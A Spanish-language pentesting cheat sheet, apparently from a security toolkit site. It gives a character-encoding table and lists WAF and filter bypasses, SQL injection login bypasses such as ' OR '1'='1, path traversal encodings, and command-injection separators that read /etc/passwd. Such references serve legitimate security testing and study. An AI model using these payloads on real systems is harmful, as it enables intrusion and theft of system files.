Herramienta · Web

Codificadores, tablas y bypasses

Codifica y descodifica payloads al vuelo, ten a mano todas las conversiones de caracteres y los trucos de evasión de filtros. Todo corre en tu navegador, nada se envía a ningún sitio.

Tabla de conversión · caracteres de bypass

Carácter	URL	Hex	HTML	Unicode
espacio	`%20`	`\x20`	` `	`\u0020`
NULL	`%00`	`\x00`	``	`\u0000`
TAB	`%09`	`\x09`	` `	`\u0009`
LF salto	`%0A`	`\x0A`	` `	`\u000a`
CR	`%0D`	`\x0D`	` `	`\u000d`
" comilla doble	`%22`	`\x22`	`"`	`\u0022`
' comilla simple	`%27`	`\x27`	`'`	`\u0027`
` backtick	`%60`	`\x60`	```	`\u0060`
< menor	`%3C`	`\x3C`	`<`	`\u003c`
> mayor	`%3E`	`\x3E`	`>`	`\u003e`
( par abre	`%28`	`\x28`	`(`	`\u0028`
) par cierra	`%29`	`\x29`	`)`	`\u0029`
; punto y coma	`%3B`	`\x3B`	`;`	`\u003b`
\| pipe	`%7C`	`\x7C`	`\|`	`\u007c`
& ampersand	`%26`	`\x26`	`&`	`\u0026`
$ dolar	`%24`	`\x24`	`$`	`\u0024`
/ barra	`%2F`	`\x2F`	`/`	`\u002f`
\ contrabarra	`%5C`	`\x5C`	`\`	`\u005c`
. punto	`%2E`	`\x2E`	`.`	`\u002e`
% porcentaje	`%25`	`\x25`	`%`	`\u0025`

Bypasses y concatenaciones

Evasión de filtros / WAF

Doble URL-encode: %252e%252e%252f (cuando decodifica dos veces)
Mayúsc/minúsc: SeLeCt, UnIoN (filtros sensibles a mayúsculas)
Comentarios en medio: un/**/ion, sel/**/ect
Espacios alternativos: %09 %0a %0c + /**/ ${IFS}
Traversal ofuscado: ..%2f ..%252f ....// ..%c0%af

SQLi · concatenar y ofuscar

Concatenar (MySQL): CONCAT(a,0x3a,b) · (Oracle/PG) a||b
Cadena sin comillas: hex 0x61646d696e = 'admin' · CHAR(97,100,109)
Comentar el resto: -- - · # · /**/
Bypass login: ' OR '1'='1 · ' OR 1=1-- -
Sin espacios: '/**/OR/**/1=1 · paréntesis OR(1)=(1)

Inyección de comandos · separadores

Encadenar: ; | || && %0a (nueva línea)
Sustitución: $(id) · backticks `id`
Espacio sin espacio: ${IFS} · {cat,/etc/passwd} · </etc/passwd
Comodín: /bin/c?t /e??/p?sswd

Codificación · para qué sirve cada una

URL: meter caracteres raros en parámetros/URLs sin romperlas.
Base64: ocultar/transportar payloads (data://, -enc de PowerShell).
Hex / \x: strings sin comillas en SQLi y shellcode.
HTML / Unicode: evadir filtros XSS (<script>).

← El Arsenal (comandos) Carpetas, LFI & RFI Guía Burp Suite